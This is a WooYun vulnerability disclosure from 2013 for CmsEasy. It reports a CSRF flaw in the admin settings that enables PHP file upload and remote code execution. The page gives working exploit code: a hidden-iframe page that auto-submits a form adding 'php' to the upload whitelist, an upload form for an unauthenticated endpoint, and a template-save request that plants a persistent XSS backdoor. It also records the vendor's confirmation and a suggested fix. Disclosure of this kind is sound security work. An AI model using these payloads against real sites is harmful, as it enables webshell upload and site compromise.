当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-037545

漏洞标题:代码审计系列3:cmseasy CSRF导致远程PHP代码执行

相关厂商:cmseasy

漏洞作者: LaiX

提交时间:2013-09-20 13:18

修复时间:2013-12-19 13:18

公开时间:2013-12-19 13:18

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-20: 细节已通知厂商并且等待厂商处理中
2013-09-20: 厂商已经确认,细节仅向厂商公开
2013-09-23: 细节向第三方安全合作伙伴开放
2013-11-14: 细节向核心白帽子及相关领域专家公开
2013-11-24: 细节向普通白帽子公开
2013-12-04: 细节向实习白帽子公开
2013-12-19: 细节向公众公开

简要描述:

利用后台设计权限可上传PHP文件,并且可利用XSS留永久后门

详细说明:

1.我们先来看看这个缺陷的地方在哪儿

1.png


cmseasy有一个设置附件后缀白名单的地方,我们可以从这里添加.php后缀来达到上传PHP文件的目的。
2.如何上传文件

2.png


这个页面有上传文件的功能,它会检查白名单中的后缀。
3.当我们知道如何后台GETSHELL之后,现在我们开始构造利用代码。
CSRF可以帮助我们实现添加文件后缀白名单,于是我们构造出以下代码。

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<h1>正在跳转...</h1>
<iframe id="test_iframe" style='display:none'></iframe>
<script>
function CSRF()
{
test_iframe.document.write("<form id='test_form' action='http://127.0.0.1:8080/CmsEasy/index.php?case=config&act=system&set=upload&admin_dir=admin&site=default' method='POST' >"
+"<input type='hidden' name='upload_filetype' value='jpg,gif,bmp,jpeg,png,doc,docx,xls,xlsx,zip,rar,7z,txt,sql,pdf,JPG,GIF,BMP,JPEG,PNG,ZIP,RAR,7Z,TXT,SQL,PDF,DOC,DOCX,XLS,XLSX,php,html'>"
+"<input type='hidden' name='upload_max_filesize' value='2'>"
+"<script>document.getElementById('test_form').submit();<\/script>")
}CSRF();
window.setTimeout("window.location.href='http://threejs.org/'", 5000)
</script>


当管理员访问以上代码,就会自动添加PHP后缀。
4.如何上传PHP文件
经过测试那个文件并没有任何的权限限制,也没有任何的用户限制,它仅仅只判断白名单后缀。
那么我们可以构造如下exploit.html

<form method="post" name="form1" action="http://127.0.0.1:8080/CmsEasy/index.php?case=tool&act=uploadfile" enctype="multipart/form-data" onsubmit="return checkform();">
<label for="file">Filename:</label>
<input type="file" name="fileupload" id="fileupload" style="width:400px">
<br />
<input type="submit" name="submit" value=" 提交 " class="btn_a">
</form>


现在我们可以在任何地方使用该exploit 都可以上传PHP文件

漏洞证明:

1.留言板欺骗

3.png


4.png


2.当管理员访问

5.png


3.上传PHP文件

6.png


4.留XSS永久后门

sid:footer_html
slen:2666
scontent:<!-- 页底 -->
<div id="footer" class="mt10">
<div class="box">
<div class="footer">
<!-- 友情logo -->
<div class="links">
{if $topid==0}
{loop friendlink('image',0,20) $flink}
<a href="{$flink[url]}" title="{$flink[name]}"><img src="{$flink[logo]}" /></a>
{/loop}
{else}
{lang(hotkeys)}: {gethotsearch(10)}
{/if}
</div>
<!-- 页底导航 -->
<div class="about">
<img src="{$skin_path}/images/foot_logo.gif" />
{tag_网站页底关于我们等说明}
{if get('opguestadd')=='1'}<a rel="nofollow" href="{$base_url}/?g=1">{lang(opguestadd)}</a> |{/if}
<a href="#">TOP</a>
</div>
<div class="copyright">
<!-- 页底说明 -->
{get(site_right)} <a title="{get('sitename')}" href="{$base_url}/">{get('sitename')}</a> All Rights Reserved. {if get('site_login')=='1'}{login_js()}{/if}
<div class="blank5"></div>
{getcnzzcount()} Powered by <a href="http://www.cmseasy.cn" title="CmsEasy企业网站系统" target="_blank">CmsEasy</a> <a rel="nofollow" href="http://www.miibeian.gov.cn/" rel="nofollow" target="_blank">{get('site_icp')}</a>
</div>
<div class="clear"></div>
</div>
{if $topid==0}<!-- 热门关键词 -->
<div class="hot_keys">
<strong>{lang(hotkeys)}:</strong> {gethotsearch(10)}
<div class="blank10"></div>
<!-- 友情链接 -->
<strong>{lang('links')}:</strong>
{loop friendlink('text',0,20) $flink}
<a href="{$flink[url]}" target="_blank">{$flink[name]}</a>
{/loop}
</div>{/if}
</div>
</div>
<script type="text/javascript" src="{$base_url}/js/common.js"></script>
<script type="text/javascript">
// 公告滚动js
var t=setInterval(myfunc,1000);
var oBox=document.getElementById("announ");
function myfunc(){
var o=oBox.firstChild
oBox.removeChild(o)
oBox.appendChild(o)
}
oBox.onmouseover=function()
{
clearInterval(t)
}
oBox.onmouseout=function()
{
t=setInterval(myfunc,2000)//滚动时间,默认2秒
}
</script>
<!-- 在线客服 -->
{template 'system/servers.html'}
<!-- 短信 -->
{template 'system/sms.html'}
{if get('share')=='1'}
<!-- Baidu Button BEGIN -->
<script type="text/javascript" id="bdshare_js" data="type=slide&img=6&pos=right&uid=620555" ></script>
<script type="text/javascript" id="bdshell_js"></script>
<script type="text/javascript">
var bds_config = {"bdTop":150};
document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?t=" + new Date().getHours();
</script>
<!-- Baidu Button END -->
{/if}
<script>
function checkmail(str)
{
var strreg="email";
var r;
var strtext=document.all(str).value;
//strreg=/^w+((-w+)|(.w+))*@[a-za-z0-9]+((.|-)[a-za-z0-9]+)*.[a-za-z0-9]+$/i;
strreg=/^w+((-w+)|(.w+))*@{1}w+.{1}w{2,4}(.{0,1}w{2}){0,1}/ig;
r=strtext.search(strreg);
if(r==-1) {
alert("邮箱格式错误!");
document.all(str).focus();
}
}
</script>
</body>
</html>
<script>alert()</script>


Request URL:http://127.0.0.1:8080/CmsEasy/index.php?case=template&act=save&admin_dir=admin&site=default
将以上参数 作为CSRF 利用,即可在首页(footer.html)留下XSS后门 , 这里不再演示

7.png

修复方案:

请判断 http://127.0.0.1:8080/CmsEasy/index.php?case=tool&act=uploadfile 使用这个功能上传的时候是否是管理员。
还有限制后台访问来源。

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-09-20 15:04

厂商回复:

非常感谢,我们将及时处理

最新状态:

暂无